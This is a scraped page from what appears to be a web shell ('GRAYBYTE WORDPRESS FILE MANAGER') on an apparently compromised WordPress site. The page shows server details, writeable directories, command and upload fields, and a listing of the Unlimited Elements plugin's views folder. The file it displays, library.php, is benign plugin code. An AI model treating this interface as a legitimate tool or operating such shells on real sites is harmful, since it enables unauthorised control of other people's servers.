GRAYBYTE WORDPRESS FILE MANAGER6172

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/chahida.co.in/wp-content/plugins/unlimited-elements-for-elementor/views/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/chahida.co.in/wp-content/plugins/unlimited-elements-for-elementor/views//library.php
<?php
/**
 * @package Unlimited Elements
 * @author unlimited-elements.com
 * @copyright (C) 2021 Unlimited Elements, All Rights Reserved.
 * @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * */
if ( ! defined( 'ABSPATH' ) ) exit;


class UniteCreatorLibraryView{

	protected $showButtons = true;
	protected $showHeader = true;

	protected $arrPages = array();


	/**
	 * constructor
	 */
	public function __construct(){

		$this->init();
		$this->putHtml();
	}

	/**
	 * init the pages
	 */
	protected function init(){

		$urlAddons = helperUC::getViewUrl_Addons();
		$urlDividers = helperUC::getViewUrl_Addons(GlobalsUC::ADDON_TYPE_SHAPE_DEVIDER);
		$urlShapes = helperUC::getViewUrl_Addons(GlobalsUC::ADDON_TYPE_SHAPES);
		$urlBGAddons = helperUC::getViewUrl_Addons(GlobalsUC::ADDON_TYPE_BGADDON);


		$urlSections = HelperUC::getViewUrl_LayoutsList(array(), GlobalsUC::ADDON_TYPE_LAYOUT_SECTION);

		$textAddons = esc_html__("My Addons", "unlimited-elements-for-elementor");
		$textDividers = esc_html__("Dividers", "unlimited-elements-for-elementor");
		$textShapes = esc_html__("Shapes", "unlimited-elements-for-elementor");
		$textSection = esc_html__("Sections", "unlimited-elements-for-elementor");
		$textPageTemplates = esc_html__("Page Templates", "unlimited-elements-for-elementor");
		$textBackgroundAddons = esc_html__("Background Addons", "unlimited-elements-for-elementor");

		$defaultIcon = "puzzle-piece";

		$this->addPage($urlAddons, $textAddons, $defaultIcon);
		$this->addPage($urlBGAddons, $textBackgroundAddons, $defaultIcon);
		$this->addPage($urlDividers, $textDividers, "map");
		$this->addPage($urlShapes, $textShapes, "map");
		$this->addPage($urlSections, $textSection, $defaultIcon);


	}


	/**
	 * get header text
	 * @return unknown
	 */
	protected function getHeaderText(){
		$headerTitle = esc_html__("My Library", "unlimited-elements-for-elementor");
		return($headerTitle);
	}

	/**
	 * add page
	 */
	protected function addPage($url, $title, $icon){

		$this->arrPages[] = array(
			"url"=>$url,
			"title"=>$title,
			"icon"=>$icon);

	}

	/**
	 * show buttons panel
	 */
	protected function putHtmlButtonsPanel(){

		$urlLayouts = HelperUC::getViewUrl_LayoutsList();
		$urlAddons = HelperUC::getViewUrl_Addons();

		?>
		<div class="uc-buttons-panel unite-clearfix">
			<a href="<?php echo esc_url($urlLayouts)?>" class="unite-float-right mleft_20 unite-button-secondary"><?php HelperUC::putText("my_layouts")?></a>
			<a href="<?php echo esc_url($urlAddons)?>" class="unite-float-right mleft_20 unite-button-secondary"><?php esc_html_e("My Addons", "unlimited-elements-for-elementor")?></a>

		</div>

		<?php
	}


	/**
	 * put pages html
	 */
	protected function putHtmlPages(){

		if($this->showHeader == true){

			$headerTitle = $this->getHeaderText();

			require HelperUC::getPathTemplate("header");
		}else
			require HelperUC::getPathTemplate("header_missing");

		if($this->showButtons == true)
			$this->putHtmlButtonsPanel();

		?>

		<div class="content_wrapper unite-content-wrapper">


		<ul class='uc-list-pages-thumbs'>
		<?php
		foreach($this->arrPages as $page){

			$url = $page["url"];
			$icon = $page["icon"];

			if(empty($icon))
				$icon = "angellist";

			$title = $page["title"];

			?>
			<li>
				<a href="<?php echo esc_url($url)?>">
					<i class="fa fa-<?php echo esc_attr($icon)?>"></i>
					<?php echo esc_html($title)?>
				</a>
			</li>
			<?php
		}
		?>
		</ul>

		</div>

		<?php

	}


	/**
	 * constructor
	 */
	protected function putHtml(){

		$this->putHtmlPages();

	}

}

$pathProviderAddons = GlobalsUC::$pathProvider."views/library.php";

if(file_exists($pathProviderAddons) == true){
	require_once $pathProviderAddons;
	new UniteCreatorLibraryViewProvider();
}
else{
	new UniteCreatorLibraryView();
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:27
giriqfky / giriqfky
0755
objects
--
July 10 2025 04:32:27
giriqfky / giriqfky
0755
system
--
July 10 2025 04:32:27
giriqfky / giriqfky
0755
templates
--
July 10 2025 04:32:27
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:27
giriqfky / giriqfky
0644
addon.php
0.603 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
addondefaults.php
2.673 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
addons.php
0.523 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
api-connect-test.php
0.404 KB
January 15 2025 00:16:56
giriqfky / giriqfky
0644
assets.php
0.739 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
changelog.php
22.691 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
changelog_import.php
2.871 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
dashboard.php
17.731 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
email-test.php
3.181 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
form_entries.php
0.781 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
forms-logs.php
2.871 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
index.html
0 KB
February 01 2018 22:49:08
giriqfky / giriqfky
0644
instagram-test.php
0.876 KB
May 28 2023 15:53:54
giriqfky / giriqfky
0644
layout.php
1.396 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
layout_outer.php
1.694 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
layout_preview.php
1.684 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
layouts.php
0.621 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
layouts_general.php
0.084 KB
April 04 2019 17:44:20
giriqfky / giriqfky
0644
layouts_settings.php
0.813 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
library.php
3.882 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
license.php
1.535 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
mappicker.php
0.443 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
master_view.php
2.872 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
mediaselect.php
0.35 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
templates.php
0.272 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
testaddon.php
3.23 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
testaddonnew.php
3.284 KB
June 24 2025 17:16:16
giriqfky / giriqfky
0644
testsettings.php
0.904 KB
April 08 2025 14:31:48
giriqfky / giriqfky
0644
troubleshooting-connectivity.php
4.997 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
troubleshooting-globals.php
0.349 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
troubleshooting-memory-usage.php
0.366 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
troubleshooting-overload.php
0.749 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
troubleshooting-phpinfo.php
0.338 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
troubleshooting-tables.php
0.5 KB
March 05 2025 17:09:18
giriqfky / giriqfky
0644
wpml-fields.php
0.875 KB
August 06 2024 15:02:00
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF